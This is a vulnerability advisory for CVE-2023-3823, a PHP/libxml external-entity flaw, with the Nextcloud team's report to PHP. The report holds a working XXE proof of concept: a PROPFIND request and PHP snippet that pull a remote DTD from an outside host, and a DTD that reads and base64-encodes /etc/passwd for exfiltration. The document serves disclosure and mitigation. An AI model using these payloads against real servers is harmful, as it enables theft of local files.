Headline
CVE-2023-3823: Security issue with external entity loading in XML without enabling it
In PHP versions 8.0.* before 8.0.30, 8.1.* before 8.1.22, and 8.2.* before 8.2.8 various XML functions rely on libxml global state to track configuration variables, like whether external entities are loaded. This state is assumed to be unchanged unless the user explicitly changes it by calling appropriate function. However, since the state is process-global, other modules - such as ImageMagick - may also use this library within the same process, and change that global state for their internal purposes, and leave it in a state where external entities loading is enabled. This can lead to the situation where external XML is parsed with external entities loaded, which can lead to disclosure of any local files accessible to PHP. This vulnerable state may persist in the same process across many requests, until the process is shut down.
Summary
After working on the issue some days, we more and more come to the assumption, that the actual issue is lower in the stack than the Nextcloud Server’s PHP code. We were able to isolate it to a few lines of plain PHP code (but seemling only after performing a “Nextcloud login”)
Details
After working on the issue some days, we more and more come to the assumption, that the actual issue is lower in the stack than the Nextcloud Server’s PHP code. We were able to isolate it to a few lines of plain PHP code (but seemling only after performing a “Nextcloud login”), see POC below.
Randomness
The behaviour seems to depend on some “random” factors. A suggestion at the moment is that it’s working on the first run in a PHP/Apache process more often then on reused.
- We were never able to produce it on Nginx with PHP-FPM
- We were never able to produce it on CLI
- We were able to reproduce it with latest maintenance versions of PHP 8.0, 8.1 and 8.2 together with Apache2 on Debian
- We were unable to reproduce it with latest maintenance versions of PHP using Apache2 on Ubuntu, but the original reporter seems to be running on Ubuntu.
We are sorry that we are unable to give a clearer indication here, but think that the issue is to critical to ignore or keep to ourselves, just because we fail to give clear reproduction systems, because to us it seems like any system consuming XML is affected.
The most reliable system to reproduce it on is our "Developer Docker": https://github.com/juliushaertl/nextcloud-docker-dev/#standalone-containers but that comes with quite some overhead. The enabled PHP modules and PHPINFO output is available here https://gist.github.com/juliushaertl/b458983b5fe87b31bd98ff2dc2468e97 On that system a Nextcloud user admin with password admin is automatically created and the attack can then be executed with a PROPFIND against the dav endpoint:
PROPFIND /remote.php/dav/files/<username>/
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "https://bin.icewind.me/r/p0gzLJ"> %remote; %intern; n%trick;]>
<d:propfind xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">
<d:prop>
<oc:fileid />
</d:prop>
</d:propfind>
We hope that you can shed light on the situation, to help keeping the PHP world secure, by either confirm there is an issue somewhere inside PHP, libxml2, Apache2 or something else, or pointing us to something that brings clearness why it only happens sometimes.
PoC
<?php $xml= "<?xml version=’1.0’ encoding=’utf-8’ ?><!DOCTYPE root [<!ENTITY % remote SYSTEM \"https://bin.icewind.me/r/p0gzLJ\"> %remote; %intern; %trick;]><D:propfind xmlns:D=’DAV:’><D:allprop/></D:propfind>"; libxml_use_internal_errors(true); $dom = new DOMDocument(); $dom->loadXML($xml); echo $dom->textContent; foreach (libxml_get_errors() as $error) { var_dump($error); }
If you don’t want to run code from our servers, you can replace https://bin.icewind.me/r/p0gzLJ with a link of your own, and make it serve the following content:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % intern "<!ENTITY % trick SYSTEM 'file://WOOT%payload;WOOT’>">
The problem we are now facing is the following:
In most cases we correctly receive:
PEReference: %intern; not found on line …, column …
the reporter mentioned that when this happens we should try to run it multiple times, and indeed on some systems we received a different response after some runs:
WOOT{{base64 encoded content of /etc/passwd}}WOOT
Mitigation
Our current “fix” to the problem is to set an external entity loader (although it’s disabled by default and never enabled actively on our side)
libxml_set_external_entity_loader(function () { return null; });
In most cases that leaves the response unchanged with:
PEReference: %intern; not found on line …, column …
But in “successful” cases it now only responds with the following instead of the base64 encoded password file:
Failed to load external entity "NULL" on line 0, column 0
Interestingly setting the entity loader to null is not enough and still leaves the system vulnerable:
libxml_set_external_entity_loader(null);
Impact
- What: The result is a XXE with potential to escalate into a RCE
- Who: Every application/library/server that is parsing/interacting with XML documents
Related news
Gentoo Linux Security Advisory 202408-32 - Multiple vulnerabilities have been discovered in PHP, the worst of which can lead to a denial of service. Versions greater than or equal to 8.1.29:8.1 are affected.
Ubuntu Security Notice 6305-3 - USN-6305-2 fixed a vulnerability in PHP. The update caused a regression in Ubuntu 16.04 LTS and Ubuntu 18.04 LTS. This update fix it. It was discovered that PHP incorrectly handled certain XML files. An attacker could possibly use this issue to expose sensitive information.
Debian Linux Security Advisory 5661-1 - Multiple security issues were found in PHP, a widely-used open source general purpose scripting language which could result in secure cookie bypass, XXE attacks or incorrect validation of password hashes.
Debian Linux Security Advisory 5660-1 - Multiple security issues were found in PHP, a widely-used open source general purpose scripting language which could result in secure cookie bypass, XXE attacks or incorrect validation of password hashes.
Ubuntu Security Notice 6305-2 - USN-6305-1 fixed several vulnerabilities in PHP. This update provides the corresponding update for Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, and Ubuntu 20.04 LTS. It was discovered that PHP incorrectly handled certain XML files. An attacker could possibly use this issue to expose sensitive information.
Red Hat Security Advisory 2024-0387-03 - An update for the php:8.1 module is now available for Red Hat Enterprise Linux 9. Issues addressed include a denial of service vulnerability.
Vulnerability in the Sun ZFS Storage Appliance product of Oracle Systems (component: Core). The supported version that is affected is 8.8.60. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Sun ZFS Storage Appliance. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Sun ZFS Storage Appliance. CVSS 3.1 Base Score 5.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H).
Ubuntu Security Notice 6305-1 - It was discovered that PHP incorrectly handled certain XML files. An attacker could possibly use this issue to expose sensitive information. It was discovered that PHP incorrectly handled certain PHAR files. An attacker could possibly use this issue to cause a crash, expose sensitive information or execute arbitrary code.